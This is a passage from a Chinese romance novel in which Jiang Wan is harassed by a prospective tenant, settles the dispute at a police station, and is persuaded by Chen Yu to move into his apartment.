这天正在上班,姜挽突然收到网站上发过来的消息,对方提出想今天看房,说是一对情侣,就住在这附近,现在租的房子太大,房租也高,想换个更便宜点的。 其实姜挽原本是不打算和情侣合租的,可听对方介绍原本就住在这附近,而且也想换个小点的,种种要求听起来,她目前的房子似乎都能符合。 这么多天下来实在是累了,也是死马当做活马医吧,姜挽同意了,和对方约在今晚八点。 下班后,姜挽没加班,按照约定时间在家等着。可谁知,对方却迟到了,从八点到八点半,再到九点,最后出现的时候,已经九点十五分了。 对方是一个人来的,隔着门,声音很大:“开个门怎么这么慢,能不能快点,一会儿我还有别的事呢。” 他的语气和态度,姜挽都不是很喜欢,也是有些顾虑吧,她皱眉:“不是说两个人一起来看吗?怎么就你一个人?” 对方很不耐烦:“我女朋友加班,我决定就行,快点吧,别磨蹭了。” “好吧,稍等。” 姜挽最终还是把门打开了,进来一个二十多岁的男的,皮衣加紧身裤,一头黄毛凌乱地在头顶炸开,活脱脱一个精神小伙的形象。 没等姜挽介绍,他直接朝屋内走去,边走边嘟囔:“开个门这么慢,这不是故意耽误别人时间吗?” 看他着急,姜挽忍了下来,没应声。 两间房,他来来回回看了好几遍,但就是不做决定。一会儿说朝向不好,一会儿又说暖气温度太低,最后甚至连窗帘颜色的理由都用上了,总结一句话就是,想让姜挽给他降价。 房租的价格都是一开始就定好的,根据房型的大小和朝向来决定,不同的房间价格不一样,姜挽当然不能随便就给他降价。 更何况,这人自从进屋到现在,说的全是抱怨的话,也是担心以后相处起来会有麻烦,姜挽没同意,委婉地表达了让他再看看其他房子的意思。 本就是很正常的一句话,谁知却把对方惹怒了,他一脚踏在地板上,声音大起来:“你看不起谁呢?以为我租不起是吗?就你这破房子,挂那么久都没租出去,可见有多差,我能来都是给你面子,你还叽叽歪歪。麻利点,赶紧降价,降完我就租了。” 姜挽看着他,眉间的褶皱加深,如果说刚才还是态度问题,那么这会儿就已经上升到人品问题了,她很确定,房子她是不会租给这个人了。 “很抱歉,这房子我不租了,您还是再看看其他的房源吧。” 男人被下了逐客令,很不爽,刚想发火,视线对上姜挽的,愣了下:“我怎么看你觉得这么眼熟呢,好像在哪儿见过,”他喃喃自语,突然大叫一声,“对了,想起来了,之前在小区门口的时候,你和另外一个男的在一起,是不是?” 说到这,他笑了,是那种沾沾自喜和小人得志的奸笑,让人听起来很不舒服。 “你那有钱的男朋友呢?当时不是挺牛逼吗,开豪车,还骂人,现在在哪儿呢?这么有钱还让你住这种房子,还为这点钱斤斤计较,怕不是骗子吧?还不知道钱和车都是怎么来的呢。” 看着姜挽,他突然换了语气:“要不,你跟了我吧,我挣得也不少,肯定可以养活你。” 被他这么一提醒,姜挽立马就想起来了,当初陈屿第一次送她回来时,两人确实遇上了一个骑摩托车的人,因为那天是晚上,那人又带着头盔,姜挽没认出来,刚才被他这么一提,她这会儿全想起来了。 恶心,厌恶,还有隐隐的担忧,她拉开和男人的距离,冷声开口:“这房子我不租了,请你马上离开。” “别呀,我都看好了,我就要租这个,”男人的笑意加深,不退反进,“说吧,多少钱,看在之前见过的份上,我也不和你还价了,直接给你就完了。” 姜挽冷着脸,要不是这会儿还在她家里,她真是一句话都不想和这人再多说:“你听不懂吗?我说我不租了,请你现在立刻从我家里离开。” “呦,生气了?”男人朝她伸出手,“该说不说,你生气起来还真……” “滚开!”姜挽一把打掉他的手,“你现在立马离开,不然我报警了!” “报啊,你报啊,吓我呢?”男人一点没被吓住,“就让警察来评评理,我正规途径来看房子,好好和你商量价格,倒是你不遵守约定,一直让我滚。那就让警察好好来看看,到底是谁占理!” “警察来了你也不会有什么好结果!”姜挽放弃和他争辩,边说,边沿着墙壁退回自己的房间门口。这种人,多和他待一秒,她的危险就多一分。 马上就到门口了,姜挽正想开门进屋,对面的男人像是意识到她的目的,一把上前抓住她的手腕:“怎么,想躲啊?我们还没聊完呢,还得继续聊,说说吧,这个房子你到底多少钱才肯租给我。” 手腕被转抓住,姜挽挣不开,情急之下,她抬脚就踹,只听“哎呦”一声惊呼,男人当即弯下腰。 她立马挣脱,开门,进屋,反锁,立马打电话报警。 门外不时响起男人的咒骂声和砸门声:“臭婊子,你竟然敢踹我,有本事把门打开,看我不把你治得服服帖帖!” “听到没有,把门打开,你他妈今天不开门,我就不走了!看谁耗得过谁!” “开门!我他妈受伤了,你得送我去医院!给我赔钱!” …… 不论他说什么,姜挽一概不理,牢牢反锁房间门,在屋内等着警察到来。还好他们来得很快,不到十五分钟便出现了。 警察一到,男人立马换上另外一副面孔,痛哭流涕地诉说自己有多无辜和委屈,还一个劲强调自己被姜挽踢伤了,要她赔钱。 警察一看这架势,一时半会儿也解决不了,便打算把他们二人都带回派出所。有警察在,姜挽也安心了,一路都很配合。倒是男人叽叽歪歪,说三道四,一路不停抱怨,最后被警察吼了两句,才安静下来。 到了派出所里,男人还是那副胡搅蛮缠的样子,咬死自己一点错没有,全都是姜挽的原因。姜挽当然不认了,将事情的来龙去脉全都细说了一遍,听完后,警察情感上也是站在她这边的,可她踢了人,这毕竟也是不可争辩的事实。 男人在旁边插话:“对啊,你踢了我,就是你的错,你得给我赔钱!” 警察嫌他咋呼,一个冷眼扫过去:“虽说这位女士踢了你是她不对,可要是没有你之前的那些行为,又怎么会发生这种事?” “警察同志,你别相信她,我是好人,我就是来看房子的,什么都没做,你们得为我做主啊!我……” “行了,你别说了!”警察懒得听他说这些车轱辘话,“说吧,你到底想怎么解决?直接提你的诉求,不过我可提醒你啊,必须在合理的范围内。” 男人眼珠子一转:“合理,必须合理,我也没别的要求,就让她赔钱就行。” “多少?” “一万。” 警察笑了:“你还真是狮子大开口啊,还没怎么样呢,就敢要一万?” 男人一点也不心虚:“警察同志,一万已经很少了,她伤的可是我的命根子,就这价钱我还是打折了呢。” “这价钱不行,能不能少?” “不能,少一分都不行。” 警察瞪他一眼,很不爽:“等着。” 警察和那男人说话的时候,姜挽一直在旁边站着,全程都没插嘴,等结束,警察单独把她带到旁边,问她:“他提的这个一万,你能接受吗?” 姜挽没直接回答:“其实我更建议他去医院验伤,到时候我会按照医疗标准赔付。” 许是看她实在,警察劝她:“他这个人你也看到了,不是什么讲道理的主儿。要是去医院,我怕他狮子大开口,再胡乱一通折腾,到时候检查费,误工费,再加上营养费,怕是一万都不够。” 这种事情他们见多了,知道怎样处理才能最省事。 “要不这样,”警察帮她出主意,“我看你也挺忙的,明天肯定还要上班,我们去和他沟通,要是这个钱能降到五千,你能接受吗?” 这次,姜挽没犹豫,老实讲,她也不想再和那种人有过多的牵扯:“可以,麻烦你们了。” “那行,你等着,我们去和他沟通。” 和那人沟通的时候,警察没让姜挽参加,不知道他们用了什么办法,反正到最后他是同意了赔偿五千的这个方案。 警察出来告诉姜挽:“通知你家人带着钱过来接你吧。” 钱没问题,只是让家人来接这条,姜挽有些为难:“一定得是家人吗?” “朋友也行。” “不能我自己交吗?” “最好还是让你家人或者朋友过来。” 沈曼不行,沈繁星和尤伽她又不想去打扰,这种时候,她的第一反应总是想到陈屿,也只有陈屿。 陈屿接到电话的时候还在公司开会,一看是姜挽打来的电话,便立马暂停了会议:“什么事?” 其实自从上次生日事件后他们的联系并不多,但对于她,对于她的电话,陈屿永远都是放在第一位。 姜挽也没想到他会接得这么快,一时间还没想好该怎么和他说:“你这会儿忙吗?方便接电话吗?” “直接说事。”陈屿不喜欢和她绕弯子,更不喜欢面对她时的这种不确定感。关于她的事,所有他不知道和超出范围的部分,都会让他觉得不安。 “我有个事想请你帮忙,”姜挽鼓起勇气,“我现在在芳草街的派出所,能不能麻烦你过来接我一趟?” “你在派出所?”陈屿的语气惊讶,可手上的动作却很麻利,退出会议,拿起外套,等其他参会人员反应过来的时候,他已经进电梯了。 从办公室到地下停车场,一路急转直下,根本没用多长时间,可陈屿还是觉得慢:“你为什么会在派出所?” “因为……”姜挽像是不好意思,犹豫了下才继续开口,“我打人了。” “你打人?” “嗯。” “那你自己呢?”陈屿根本没问对方的情况。 “我自己?” “你有没有受伤?” “没有。” 还好,陈屿松一口气:“等着,我马上到。” 二十五分钟,陈屿的身影出现在派出所,姜挽不知道他是从哪里来的,只知道他来得很快,来得及时,对她而言,简直犹如神兵天降。 他还穿着白天那套西装,身形在,气质也在,可姜挽就是觉得有什么东西变了,仔细看应该是他的表情和眼神,从那里,她读到了一种类似于担心的东西。 陈屿也看到她了,大步朝她走来,姜挽有点怕,本以为他会说她几句,类似于这么麻烦,这么能闯祸之类的话,可谁知到了她旁边,陈屿却什么都没说,只问了一句:“有没有受伤?” “没有。”姜挽摇头,关于事件起因和经过,她想和他解释一下,陈屿却打断她:“不用说了,我都知道了,先离开这里。” “嗯。”姜挽也知道这里不是个说话的地方,跟着他往外走,路上遇到刚才那个警察,正打算去交钱,却被告知,那五千块钱陈屿已经交过了。 从派出所出来,姜挽第一件事就是和他解释:“不好意思啊,这么晚还麻烦你过来一趟,那五千块钱我现在就转给你。” 陈屿刚想说不用,钱什么的,他一点也不在乎,旁边的暗影里突然走出来一个人,黄头发,瘦高个,一脸调笑地看着他们:“呦,这是找男朋友帮忙了呀?” 听见这个声音,姜挽本能地想往前一步,却被陈屿一把拉在身后:“就是他?” 姜挽还没回答呢,那小子倒是猖狂地接话:“是我怎么样?刚才那五千块就是给我了。”他像是很不屑,从鼻腔里轻嗤一声,“有钱又怎么样?还不是被老子耍得团团转?” 陈屿没和他废话:“给你两条路,要么现在立刻从我眼前消失,要么等着收我的律师函。” 那男人看出来陈屿不好惹了,钱他已经拿到了,也不想再多生事端,刚才那些话也就是纯属为了过过嘴瘾罢了,所以狠狠瞪了他们一眼,还是灰溜溜地走了。 男人走后,姜挽注意到陈屿的脸色有些差,还以为是因为刚才那人的话刺激到了他,毕竟他一个总裁,平日里听到的多数都是恭维好听的话。 “抱歉啊,大晚上的麻烦你,还让你遇上这种人,真的很不好意思。” 陈屿是有些不高兴,但并不是因为这个,是那人刚才口中的“男朋友”三个字刺激到了他。他倒是想,却没有资格。 转过身,他对姜挽冷着脸:“这种事你怎么不找你男朋友?他人呢?” 姜挽不知道他是怎么跳跃到这个话题的,但这已经不是他第一次问了,以前因为时机或者场合的,她都没回答过,但今天不一样。 或许是这月色,也可能是拂面的晚风,再或者就是他刚才风尘仆仆赶来时眼底的着急,让姜挽想坦诚一次,跟着自己的心。 “我没有男朋友。”月色下,她轻声开口。 话音落,陈屿愣住了。 姜挽看着他,再次开口:“我不知道为什么你会一口咬定我有男朋友,或许这件事情也和你没有关系,但我还是想澄清一下,我没有男朋友。” “那裴思……” “只是同学。” 一瞬间,耳边似乎有惊雷炸响,陈屿不知该如何形容自己此刻的心情。 说欣喜和高兴似乎都太轻了,那是一种翻山越岭,跋涉许久之后终于见到希望的狂热,因为太过强烈,此刻耳边全是他自己鼓噪的心跳声。 心里一直下着的那场雨,终于停了。 他意识到,这是他的重生。 “知道了。”他压抑着心跳,“走。” “去哪?” “送你回家。” 回去的一路,姜挽明显感觉到陈屿心情好了不少,很奇怪,她也跟着放松了下来。 还是在那个路口,陈屿把车停下,不一样的是,这次他要和姜挽一起进去。 看姜挽疑惑,他主动解释:“我进去喝口水。” 姜挽当即反应过来,觉得很抱歉,折腾了一晚上,人家连口水还没来得及喝上。 “那你跟在我后面走。” 小区年代久远,设施老旧,一路走过去好多路灯都不亮。陈屿跟在她身后,忍不住皱眉,到底有多少个黑夜里,她都是这样一个人行走在这夜色下。 七拐八拐地走了一通,这才来到姜挽所在的小区楼下,六层楼高的老旧楼房,她住顶楼。陈屿跟着她一路爬,边爬还要边和声控灯较劲,到顶楼的时候,他的脸色已经很难看了。 姜挽也注意到了,还以为他是嫌弃这里,再次觉得不好意思,边开门边和他解释:“这里的房子时间有些长了,可能会有些不方便,你稍微忍耐一下。” 但她误会了,陈屿不是不能忍受这里的环境,他只是不能忍受她住在这样的环境里。 开门,进屋,姜挽打开冰箱,问他想喝什么。 陈屿正在环顾屋内,随便答一句:“矿泉水就好。” 虽然他这样说,可姜挽还是问道:“你着急走吗?要是不着急的话等我一下,我烧点水,给你泡点茶。” 她这里有沈繁星之前给的武夷山母树大红袍,一直没舍得喝,今天刚好尝尝。 陈屿当然不着急了:“行,那你泡吧。” 姜挽烧水的时候,陈屿就独自在客厅转了两圈,这是他第一次来这里,除却工作外,第一次接触到她的世界。 几圈看下来,他发现这里外面的环境虽然一般,可里面的布置还是可以的,简约清新的风格,是她会喜欢的类型。 很快,茶泡好了,姜挽给他倒上,橙红明亮的颜色,倒在透明玻璃杯里,有馥郁的兰花之香。 “尝尝。” 陈屿喝一口:“茶不错。” “那就好。”姜挽松一口气,泡之前她就一直担心陈屿会不喜欢,好在还是合他胃口的。虽然她的好东西不多,而且在他眼里这些可能也算不得什么,但她就还是想分享给他。 坐了一会儿,她突然想起来:“对了,我把刚才的五千块转给你。” 一提这个,陈屿就皱眉:“你先别着急,我还有其他的事和你说。”这也是他今天要和她一起上来的目的,“这里你不能再住了,得搬家。” “搬家?”姜挽抬眸,缭绕的茶气衬得她眼神清亮,“为什么?” 和她视线对上,陈屿莫名觉得心里乱,他喝一口茶,故意垂下眼眸:“刚才那个人已经知道你的具体地址了,你觉得你还能在这里继续住下去?” 被他这么一提醒,姜挽也觉得有隐患:“你说得对,但这事得从长计议,那我最近就开始看房子,等找到新房子就搬。” “不行,今天就得搬。”这破地方,他是一刻也不想让她多待。 “今天?”姜挽觉得这简直就是天方夜谭,先不说她这么多东西,就是没什么东西,现在让她搬,她也没地方去呀。 “还是晚点再说吧,我得准备一下。” “准备什么?”陈屿追问。 姜挽叹一口气:“我没地方去。”她挑了最重要的一条。 这正合陈屿的心意,他挑眉,故意将语气控制得不咸不淡:“地方你不用担心,我刚好有一处房子,可以借给你过渡。” “不行,不行,”姜挽立马拒绝,“太麻烦了。” “不麻烦。” “不合适。” “还能比你继续住在这,被人渣三天两头地骚扰更不合适吗?” “……” 趁她犹豫,陈屿再加一把火:“今天是我刚好有时间,能过来帮你处理,要是下次我没时间,或者没接到电话,你又打算怎么办?” 姜挽抿着唇,没吭声。 “你该知道的,你现在和两个公司都有关系,但凡有点什么,佳译和GSC都会被影响。我是无所谓,GSC什么大风大浪没见过,只是佳译,这种小公司不知道能坚持到什么地步。” 姜挽终于松懈下来,长睫颤了颤,说出了目前她能想到的最好的解决方法:“那不然这样,我按市场价付你房租。” 这话,陈屿没接。 姜挽没注意到,还在自顾自开口:“但是我今天实在是搬不了,东西太多,没个两三天,怕是搬不完的。” “你人先过去,东西不急,我可以安排人慢慢帮你搬。” 陈屿很坚持,大有一副她不搬,他今天就不走的架势,到最后,姜挽只得快速收拾了一些日用品,在他的监督下上了车。 一路,她越想越觉得这事突然,况且既然是陈屿的房子,那肯定会比她现在这里贵不少,姜挽没忍住,还是主动和他问起了房子的情况。 “你那房子具体在什么位置呢?” “使馆壹号院。”陈屿目视前方。 “哦。”姜挽没什么太大的反应,她在北城待得时间不长,自然也就不知道这个名字代表着什么。 “离公司远不远?” 陈屿回头看她一眼:“肯定比你这儿近。” “那房租呢?大概多少钱?” 陈屿拧眉:“不知道。” “那我查查,到时候也好给你钱。” 陈屿正烦恼,快速思考着要是她查出来后,他该如何和她解释,却听姜挽自己念叨:“奇怪,软件上怎么搜不到这个小区?是不是名字错了?” 陈屿松一口气,顺势开口道:“这有什么奇怪的,可能就是房子一般,位置也一般,没人愿意租。” “真的?” 从她的语气就能听出来是松了一口气,可陈屿还是故意逗她:“怎么,你很在意这个?环境差的不考虑?” “当然不是了,”姜挽没听出他话里的揶揄,一本正经地解释道,“我之前住的房子你也见过,怎么可能会在意这个呢。” 如今这种情况,在陈屿面前,她也没什么好藏着掖着的了:“我是担心房租太贵。” 听到是这个原因,陈屿没再逗她,拐弯下高架,在这样的夜色里,他的声音听起来有一股别样的温柔:“我有和你提过房租的事吗?” “你是没说过,但我……” 陈屿打断她:“你还是多考虑考虑眼前搬家的事情吧。” 提到这个,姜挽也苦恼,总感觉有好多事情要做,一瞬间心情有些沉闷,转头看向窗外,也没再开口。 从芳草街到使馆壹号院,相当于是从郊区进城,一路街景由萧条变为繁华,像是进入了一个灯光璀璨,纸醉金迷的世界。 很快,车子在小区门口停下,经过人岗和一道道验证,姜挽怎么看,都不觉得这里像是一个普通的小区。 “你确定这里的房子一般,位置也一般?” “是啊,不然你以为为什么在网上查不到租房信息?” “可是……” “哪那么多可是,赶紧走吧,也不看看现在都几点了。” 陈屿直接将车开进车库,提着姜挽的东西带她上楼,一梯一户的设计,他住十八层。 打开门,姜挽惊呆了,这房子无论是从空间设计,还是装修来看,都挑不出任何毛病,是现在非常流行的新中式风格。 站在门口,她甚至有些不敢下脚:“你确定要把这里暂时借给我住?” 陈屿直接忽视她的话,提着她的东西径直朝里屋走:“这间,进来看看你喜不喜欢。” 宽敞的空间,松软的大床,还有一看就价值不菲的衣柜,以及墙壁上挂着的那一幅幅精美的壁画,姜挽没有不喜欢的理由。 甚至因为太好了,她隐隐有种不配得感。 “这么好的地方,你以后肯定还会用来招待其他朋友的,我担心一不小心弄脏了麻烦,要不你还是给我找一间普通一点的吧。” 陈屿很不喜欢听她说这些:“就这一间,以后也不会有其他人来住。” 见她还在犹豫,陈屿干脆直接帮她把东西拿出来,姜挽哪能让他做这些,忙从他手里接过:“我自己来。” 陈屿倒是没坚持,转身去了客厅。 姜挽也没敢耽误太久,简单把东西收拾好后,她也来到了客厅,想着先送他离开。 但等了半天也没见他有动身的架势,甚至还把西装外套脱了,十分自然地坐在客厅看手机。 姜挽担心再待下去会影响他明天的工作,忍不住提醒道:“时间不早了,你要回去吗?” “不回去。”陈屿抬起头,手机屏幕的光映着他的五官,有一种立体的深邃。 “不回去?”姜挽没懂他的意思,“那你……” “我也住这。” “……你也住这?!” 第69章 搬家 姜挽像是听到了什么天大的震惊消息, 半晌,眉头才动了一下:“那你刚才怎么说你有一处房子?” 陈屿早有准备,轻松应答:“这不就是?” “可你没说你也住在这里啊?” “我也没说我不住在这里。” 姜挽简直要被他绕进去了,但仔细想, 他好像说得也没错, 只是如今这结果她不能接受, 生气, 尴尬, 还带着点无措, 她小声抱怨:“既然你住在这里,为什么还带我过来?” 陈屿对她的声音很敏感,尽管很小, 但他还是一下便听清了, 走近两步, 隔着灯光投射下来的剪影, 他低头看她:“怎么,有问题?我在这儿和你住这里有冲突?” “当然有冲突了, ”姜挽这会儿已经不气了, 更多的是无奈,“会不方便。” “有什么不方便?” 陈屿到底是真不懂, 还是故意问的, 姜挽看不透,反正在他面前, 她向来很多事都看不透。 既然看不透, 她也不打算继续猜,干脆直接说:“我们两个异性同住在一个屋檐下,先不说做饭和公共区域这些细节划分的事, 单是一个洗漱,就够麻烦的了。” “那你真是想多了,”陈屿顺势在旁边沙发上坐下,一派懒散,“洗漱这事,每个房间都有单独配套的卫生间和淋浴间,所以我们两个不会有冲突。” “至于做饭,我没什么兴趣,你要是喜欢,一年三百六十五天,你天天想做都可以。” “再说这这公共区域,也看你,也由你说了算,怎么分配,何时出现,你觉得怎么好就怎么来。再不济,我待在卧室不出来也行。” 他一连说了三条,都是针对她刚才问题的切实解决方案,这样听下来,确实是没什么问题了。 “可这样,你不就吃亏了吗?”姜挽没有占人便宜的习惯,“要不……” 她是想说要不房租她多付点,可陈屿却以为她还要推脱,到最后一步,他不得不拿出杀手锏:“你这么一而再,再而三地推脱,让我不得不怀疑……” “怀疑什么?”姜挽有点紧张。 “怀疑你对我有意思,所以才会如此介意。” “我没有。”姜挽立马反驳,脸红成一片。 陈屿看着她,语气有些淡:“这不就得了,两个人虽然同住在一个屋檐下,但是互不干涉,这和你之前的合租有什么区别?” “可是……” 姜挽还想说,但陈屿已经不想听了,他像是很倦,站起来摆摆手:“这么晚了,我要休息了,有什么事明天再说。洗漱用品房间里都有,你要是找不到再叫我。” 他走得很快,姜挽看着他的背影没再说什么,其实她也来不及说什么。 回到房间,姜挽仔细看了一下,果然如陈屿说的那般,这间房自带卫生间和淋浴间,还有一整排的梨花木衣柜,灯光的映照下,散发着一股实木特有的油润光泽。 时间确实挺晚了,姜挽也就没再多耽搁,简单收拾了下,洗完澡便上床了。不过因为心里有事,加之又是陌生的地方,她这一觉睡得不怎么踏实,隔天很早便起来了。 她以为自己已经起得够早了,没想到陈屿比她还早,从房间出来的时候,陈屿已经在餐桌旁坐着了。 餐厅大而明亮,阳光自然照射,从姜挽的角度,不仅能看到温馨和煦的阳光,还能闻到一股浓郁的饭香。像是鸡蛋和牛奶,早起最能让人熨帖的食物。 “早。”姜挽主动和他打招呼,毕竟住在人家的房子里,这点礼貌她还是有的。 陈屿啜一口咖啡,慢悠悠抬眸看她,虽然因为一晚上没睡他此刻极度困倦,可还是不得不表现出悠闲的状态:“早,”接着,随意寒暄道,“昨晚睡得怎么样?” 姜挽也当他是在礼貌寒暄:“挺好的,谢谢你的房间。” “哦?是吗?”陈屿再啜一口咖啡,几乎是把它当水喝了,“那看来你适应能力还不错。” “主要是你房间好。” 两人一来一回,一个强装硬撑,一个拘谨尴尬,“同居”的第一天,都各自绷得厉害。 在这不怎么自然的氛围里,姜挽率先开口:“要是没什么其他的事,我就先去上班了?” 陈屿将眼前的餐盘推向她:“做多了,吃不完,尝尝?” “不用了,”姜挽忙拒绝,住在他家里已经够麻烦的了,她实在不好意思再吃人家的饭,“我不饿。” 话音刚落,肚子当场发出两声“咕咕”的叫声,一瞬间,她恨不得找个地缝钻进去。 偏偏这个时候,陈屿还要出声:“哦,既然你不饿,那就算了。” 太尴尬了,姜挽现在只想赶紧离开:“请问这附近有地铁站吗?” “有,出小区左转就是,”陈屿突然停下手上的动作,抬眸看她,“或者你也可以等一会儿,晚点坐我车去也行。” “不用,不用,我还是坐地铁吧,地铁也很方便。” “随你。” 因为陈屿的原因,今天到公司楼下,姜挽也选择了牛奶和鸡蛋作为早餐。她边吃边浏览租房网页,总觉得借住在陈屿这里不是一个长久的选择。 忙忙碌碌了一天,到家时,已经晚上八点了,以她对陈屿的了解,他这会儿应该还没下班,正想着可以放松下,没想到一推开门,他已经在客厅坐着了。 姜挽忙将散开的头发系好,大衣也重新扣上:“你已经回来了。” 陈屿一天都没去公司,也没什么事,就是不停地看门口的监控,刚看到她的身影出现在门口,便立马从书房来到了客厅。 夜晚,灯光,客厅,还有她,这些他曾经幻想过无数次的场景,此刻终于出现在眼前了,陈屿倒有些不怎么敢看了,怕是镜花水月,一眨眼就会消失。 他匆匆一瞥,迅速低眸:“没去公司。” 难怪。 气氛有些沉默,姜挽主动开口:“你吃过晚饭了吗?” “没有,怎么,你要做?” 可以是可以:“只不过……” 算上在港城的那几年,姜挽独居的生活也有八年多了,别的方面她都学得很快,唯独这做饭,就是怎么也不开窍。 一来因为她本身对这方面也不在意,二来实在是没有时间。 “只不过什么?”陈屿饶有兴致地看着她。 “只不过厨艺不太好。”姜挽和他坦白。 陈屿皱眉,想了会儿,才开口:“能吃吗?” “那应该是可以的。” “行吧,那你做吧。”陈屿说完,没再看她,随意拿起桌上的财经杂志翻了起来。只不过在姜挽进了厨房之后,他便立刻收起杂志,眼神一刻也没离开过厨房。 老实讲,姜挽其实还是有点紧张的,她一个人的时候,怎么折腾都好说,但这会儿有了陈屿,她怎么也得做得像样一点。 查攻略,翻冰箱,搭配菜,还有各种配料的准备,一个小时过去了,她也没开火。 一个小时了,她还没出来,陈屿有些坐不住了。倒不是因为他饿了,只是他担心厨房里那些锅碗瓢盆的东西她搞不定,再一个不小心伤到自己,就更得不偿失了。 借着洗手的功夫,他进厨房,故意表现得不耐烦:“这么长时间了,还没做好?” 他这么一说,姜挽果然有点着急:“快了,马上就好,你再等会儿。” 陈屿顺势接过她的话:“我饿了,等不了太长时间,你让开,我来做。” “你来?” “怎么,不行吗?” 不是不行,她只是压根没想到他会做饭:“要不还是我来吧,菜都准备好了,炒一下马上就好。” 陈屿瞥一眼她准备的菜,又瞥一眼她手机屏幕上此刻显示的做菜步骤,淡淡一句:“马上是多久?等你看完攻略再做?怕不是又得一两个小时吧?” 姜挽小声辩解:“要不了这么久的。” 陈屿没再和她继续掰扯,直接从她手中接过锅铲:“你可以出去了。” 言下之意是嫌她在这里碍事,姜挽听出来了,可她还是没走。虽然饭是做不了了,但她还是得在厨房待着,能帮他搭把手也是好的。 可她完全低估了陈屿的实力,那些在她眼里一团乱麻,没什么头绪的配菜,在陈屿手中好似有了生命一般,一道接一道,有条不紊,井然有序地开始进行,很快,三道菜便好了。 宫保鸡丁,清蒸鲈鱼,再加一个清炒时蔬,卖相和味道都是一流,姜挽这才意识到,陈屿不仅会做菜,而且厨艺还很好。 “没看出来,你厨艺还真不错。”秉着不管怎么样都得出点力的原则,姜挽决定在言语上对他进行夸赞。 可陈屿貌似并不怎么领情:“和只会看网络教程的人相比,可能是好一点。” 虽然是事实没错,可当着她的面就这么直接地说出来,姜挽还是觉得有些尴尬。倒是陈屿像没事人是的,说完之后又十分自然地将菜端出去,甚至还帮她盛了一碗饭。 为这点小事计较,姜挽也觉得不值当,饭桌上,她很快调整过来,将精力全部投在了饭菜上,主要也是陈屿做的味道实在是好。 饭后,她主动提出洗碗,却被陈屿拒绝:“有洗碗机。” 饭没做,碗也不用洗,姜挽有点不适应这种“饭来张口”的生活,总觉得应该做点什么。 正想着,突然看到桌上陈屿的手机,想起来之前在派出所陈屿帮她垫付的五千块以及房租的事,忙回房间去拿自己的手机。 等她回到客厅的时候,陈屿已经从厨房出来了,手上刚才沾了水,他正用纸巾擦着。看她着急忙慌地过来,自然开口:“怎么了?” 姜挽回他:“之前在派出所的五千块还有房租的事,我想和你商量一下。” 一提这个,陈屿就头疼,能躲就躲:“我现在有事,晚点再说吧。” 姜挽追上去:“耽误不了你多长时间的,就几分钟。” 看她坚持,也是担心太抵触会物极必反,陈屿索性在旁边的沙发上坐下:“行,那你说吧。” 姜挽便把她提前想好的方案和他说了,五千块现在就转给他,只是房租的事需要再和他赛商量一下。因为查不到这个小区的租房信息,她也不知道行情,就想着按北城普遍的租房价格来定。 “你有什么问题吗?”说罢后,她问陈屿。 陈屿其实根本没听:“没有,就按你说的来吧,”他刚才一直在想其他的事情,想着怎么样才能把她之前在芳草街的房子彻底退掉,“我明天安排人帮你搬家。” “明天?”这么着急吗,姜挽还没准备好,“要不周末吧,我刚好有时间可以自己搬。” “就明天,越快越好,免得夜长梦多。” “可是我明天还要上班,应该请不了假。” “不用你,你把要求列出来,我会安排人去做。” “可是……”姜挽还有些犹豫。 陈屿一锤定音:“就这么定了,对了,把你之前和中介签的合同也给我,我看看怎么处理。” “这个不用,我自己和他们联系就行。”姜挽不想麻烦他太多。 陈屿很坚持:“等你还不知道到什么时候,趁着明天搬家,一起解决。” “去拿。”他催她。 “好吧。”在他面前,姜挽好像还真没什么脾气。 拿完合同给他,陈屿没再说什么,姜挽便回了房间,进了门,她才发现钱还没转给陈屿,忙又从微信转给他。 陈屿一直在研究合同和安排明天搬家的事,等弄完才注意到姜挽转过来的钱。他点了收款,随即又把这笔钱从微信提了出来,转到一张银行卡上。 那是一张他从未用过的,在高中时就办的卡。里面除了以前姜挽坚持要还他的钱之外,再没有其他。 次日,陈屿安排了人去处理搬家和合同的事,搬家还好,有专门的人负责,一切都处理得井井有条,很快就结束了。 只是这合同就麻烦了,沟通过程中和姜挽签合同的中介突然狮子大开口,一定要让他们赔偿。 负责人战战兢兢地和陈屿汇报:“陈总,对方说一定要姜小姐继续履约,不然就得赔剩下的房租和违约金。” “多少。”陈屿直接开口。 “两万。” “给他四万,这事就此了断。告诉他,这件事不要告诉姜小姐,也不要再和姜小姐有任何联系。” 姜挽没想到陈屿的动作这么快,她下班到家的时候,东西已经全部搬完了。原本在芳草街的那些此时已经全部搬来了这边,大件帮她做了整理,小件的也都分类摆好,等她再做进一步的归类。 更让她觉得吃惊的是,就连合同的事情陈屿也一并处理好了。 姜挽之前和那个中介打过交道,知道对方不是一个爽快的人,所以很担心陈屿会在沟通的过程中吃亏:“中介没有为难你们吧?” “你想多了,”陈屿不是很想聊这个话题,于是匆匆一句话带过,“对了,关于你剩余的房租,他们也发过来了,我一会儿转给你,一共一万二。” 这是陈屿下午对照合同自己计算出来的,数字不能多,也不能少,免得被她看出什么端倪,必须和合同上保持一致。 “真的?”这一点也是姜挽没有预料到的,她还以为中介那边多少会扣除一部分,“没想到中介那边还挺好说话的。” 有苦难言的郁闷,陈屿今天算是体会到了,不过也罢,只要她开心,他宁愿她永远也不要接触到这些。 “先吃饭吧。”他进厨房把菜端出来,和昨天一样三个菜,可菜式却完全不一样了。 蒜香排骨,油焖大虾,还有一个清炒油麦菜,刚端过来,香味窜了满屋。 姜挽被香味吸引,有些不敢置信:“今天这……也是你做的?” “不然呢?这里还有第二个人吗?” 锅里还在煮着汤,陈屿进厨房调成小火,趁着鲜,先给她盛了一碗:“尝尝。” 饥肠辘辘喝上一口暖胃的汤,别提多舒服了:“谢谢。” 再去尝菜,每一道都咸淡刚好,口味极佳,姜挽忍不住赞叹:“你厨艺真好。” 陈屿开一罐啤酒,仰头喝了一口,他热衷于做,可对吃饭却兴致缺缺。让他吃,还不如这会儿看着她吃来得有意思。 趁她吃着,陈屿主动和她交代:“明天我要去榕城出差,去两天,大后天回来。冰箱里有水果和牛奶,晚上我安排了阿姨过来做饭,你要是加班就提前和我说,我让阿姨晚点过来。” “嗯……啊?”姜挽吃得正起劲,突然听到他说让阿姨专门过来做饭,立马停下手上的动作,觉得太夸张了:“这不合适吧?还让你专门花钱找阿姨做饭,我自己可以做的,不然还是不用了吧。” 陈屿睨她一眼:“你想什么呢,阿姨都是按月结工资的,不存在单独为你花钱。再说了,”他故意放低声音,“就当是花钱买一个安心吧,不然厨房还不知道会被你折腾成啥样。” 听他这么说,姜挽有些不愿意,小声辩解:“虽然复杂的我做不了,但是简单的煮面我还是会的,而且我很擅长收拾,不会胡乱折腾的。” 